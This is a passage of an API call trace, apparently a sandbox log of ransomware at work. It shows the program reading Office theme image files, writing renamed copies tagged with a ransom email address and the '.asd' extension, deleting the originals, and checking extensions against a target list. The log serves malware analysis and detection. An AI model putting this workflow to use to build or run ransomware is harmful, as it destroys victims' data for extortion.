lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=44850) returned 1 [0054.564] CloseHandle (hObject=0x204) returned 1 [0054.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0054.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.564] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.564] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0054.564] GetLastError () returned 0x0 [0054.564] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0xaf32, lpOverlapped=0x0) returned 1 [0054.567] WriteFile (in: hFile=0x188, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xaf40, lpOverlapped=0x0) returned 1 [0054.569] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.569] WriteFile (in: hFile=0x188, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.569] SetEndOfFile (hFile=0x188) returned 1 [0054.569] CloseHandle (hObject=0x188) returned 1 [0054.569] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.569] SetEndOfFile (hFile=0x204) returned 1 [0054.570] CloseHandle (hObject=0x204) returned 1 [0054.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.571] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1 [0054.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0054.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0054.571] lstrlenW (lpString=".doc") returned 4 [0054.571] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.571] lstrlenW (lpString=".docx") returned 5 [0054.571] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.571] lstrlenW (lpString=".pdf") returned 4 [0054.571] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.571] lstrlenW (lpString=".xls") returned 4 [0054.571] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.571] lstrlenW (lpString=".xlsx") returned 5 [0054.571] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.571] lstrlenW (lpString=".ppt") returned 4 [0054.571] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0054.571] lstrlenW (lpString=".zip") returned 4 [0054.571] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.571] lstrlenW (lpString=".rar") returned 4 [0054.571] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.571] lstrlenW (lpString=".bz2") returned 4 [0054.571] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.571] lstrlenW (lpString=".7z") returned 3 [0054.571] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0054.572] lstrlenW (lpString=".dbf") returned 4 [0054.572] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0054.572] lstrlenW (lpString=".1cd") returned 4 [0054.572] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0054.572] lstrlenW (lpString=".jpg") returned 4 [0054.572] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0054.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0054.572] lstrlenW (lpString=".doc") returned 4 [0054.572] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.572] lstrlenW (lpString=".docx") returned 5 [0054.572] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.572] lstrlenW (lpString=".pdf") returned 4 [0054.572] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.572] lstrlenW (lpString=".xls") returned 4 [0054.572] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.572] lstrlenW (lpString=".xlsx") returned 5 [0054.572] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.572] lstrlenW (lpString=".ppt") returned 4 [0054.572] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0054.572] lstrlenW (lpString=".zip") returned 4 [0054.572] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.572] lstrlenW (lpString=".rar") returned 4 [0054.572] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.572] lstrlenW (lpString=".bz2") returned 4 [0054.572] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.572] lstrlenW (lpString=".7z") returned 3 [0054.572] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0054.573] lstrlenW (lpString=".dbf") returned 4 [0054.573] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0054.573] lstrlenW (lpString=".1cd") returned 4 [0054.573] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0054.573] lstrlenW (lpString=".jpg") returned 4 [0054.573] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.573] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.573] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.573] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=37440) returned 1 [0054.573] CloseHandle (hObject=0x204) returned 1 [0054.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0054.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.574] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.574] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0054.574] GetLastError () returned 0x0 [0054.574] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x9240, lpOverlapped=0x0) returned 1 [0054.577] WriteFile (in: hFile=0x188, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x9250, lpOverlapped=0x0) returned 1 [0054.578] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.578] WriteFile (in: hFile=0x188, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.578] SetEndOfFile (hFile=0x188) returned 1 [0054.578] CloseHandle (hObject=0x188) returned 1 [0054.579] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.579] SetEndOfFile (hFile=0x204) returned 1 [0054.580] CloseHandle (hObject=0x204) returned 1 [0054.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.580] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1 [0054.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.580] lstrlenW (lpString=".doc") returned 4 [0054.580] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.580] lstrlenW (lpString=".docx") returned 5 [0054.580] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.580] lstrlenW (lpString=".pdf") returned 4 [0054.580] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.580] lstrlenW (lpString=".xls") returned 4 [0054.580] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.580] lstrlenW (lpString=".xlsx") returned 5 [0054.580] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.580] lstrlenW (lpString=".ppt") returned 4 [0054.580] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.581] lstrlenW (lpString=".zip") returned 4 [0054.581] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.581] lstrlenW (lpString=".rar") returned 4 [0054.581] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.581] lstrlenW (lpString=".bz2") returned 4 [0054.581] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.581] lstrlenW (lpString=".7z") returned 3 [0054.581] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.581] lstrlenW (lpString=".dbf") returned 4 [0054.581] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.581] lstrlenW (lpString=".1cd") returned 4 [0054.581] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.581] lstrlenW (lpString=".jpg") returned 4 [0054.581] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.581] lstrlenW (lpString=".doc") returned 4 [0054.581] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.581] lstrlenW (lpString=".docx") returned 5 [0054.581] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.581] lstrlenW (lpString=".pdf") returned 4 [0054.581] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.581] lstrlenW (lpString=".xls") returned 4 [0054.581] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.581] lstrlenW (lpString=".xlsx") returned 5 [0054.581] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.581] lstrlenW (lpString=".ppt") returned 4 [0054.581] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.582] lstrlenW (lpString=".zip") returned 4 [0054.582] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.582] lstrlenW (lpString=".rar") returned 4 [0054.582] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.582] lstrlenW (lpString=".bz2") returned 4 [0054.582] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.582] lstrlenW (lpString=".7z") returned 3 [0054.582] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.582] lstrlenW (lpString=".dbf") returned 4 [0054.582] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.582] lstrlenW (lpString=".1cd") returned 4 [0054.582] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.582] lstrlenW (lpString=".jpg") returned 4 [0054.582] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.582] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.582] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.583] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=1593) returned 1 [0054.583] CloseHandle (hObject=0x204) returned 1 [0054.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0054.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.583] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.583] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0054.585] GetLastError () returned 0x0 [0054.585] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x639, lpOverlapped=0x0) returned 1 [0054.588] WriteFile (in: hFile=0x188, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x640, lpOverlapped=0x0) returned 1 [0054.589] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.589] WriteFile (in: hFile=0x188, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.589] SetEndOfFile (hFile=0x188) returned 1 [0054.589] CloseHandle (hObject=0x188) returned 1 [0054.589] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.589] SetEndOfFile (hFile=0x204) returned 1 [0054.590] CloseHandle (hObject=0x204) returned 1 [0054.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.591] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1 [0054.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0054.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0054.591] lstrlenW (lpString=".doc") returned 4 [0054.591] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.591] lstrlenW (lpString=".docx") returned 5 [0054.591] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.591] lstrlenW (lpString=".pdf") returned 4 [0054.591] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.591] lstrlenW (lpString=".xls") returned 4 [0054.591] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.591] lstrlenW (lpString=".xlsx") returned 5 [0054.591] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.591] lstrlenW (lpString=".ppt") returned 4 [0054.591] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0054.591] lstrlenW (lpString=".zip") returned 4 [0054.591] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.591] lstrlenW (lpString=".rar") returned 4 [0054.591] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.591] lstrlenW (lpString=".bz2") returned 4 [0054.591] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.591] lstrlenW (lpString=".7z") returned 3 [0054.591] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0054.591] lstrlenW (lpString=".dbf") returned 4 [0054.591] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0054.592] lstrlenW (lpString=".1cd") returned 4 [0054.592] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0054.592] lstrlenW (lpString=".jpg") returned 4 [0054.592] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0054.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0054.592] lstrlenW (lpString=".doc") returned 4 [0054.592] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.592] lstrlenW (lpString=".docx") returned 5 [0054.592] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.592] lstrlenW (lpString=".pdf") returned 4 [0054.592] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.592] lstrlenW (lpString=".xls") returned 4 [0054.592] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.592] lstrlenW (lpString=".xlsx") returned 5 [0054.592] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.592] lstrlenW (lpString=".ppt") returned 4 [0054.592] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0054.592] lstrlenW (lpString=".zip") returned 4 [0054.592] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.592] lstrlenW (lpString=".rar") returned 4 [0054.592] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.592] lstrlenW (lpString=".bz2") returned 4 [0054.592] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.592] lstrlenW (lpString=".7z") returned 3 [0054.592] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0054.593] lstrlenW (lpString=".dbf") returned 4 [0054.593] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0054.593] lstrlenW (lpString=".1cd") returned 4 [0054.593] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0054.593] lstrlenW (lpString=".jpg") returned 4 [0054.593] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.593] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.593] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.593] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.866] GetFileSizeEx (in: hFile=0x218, 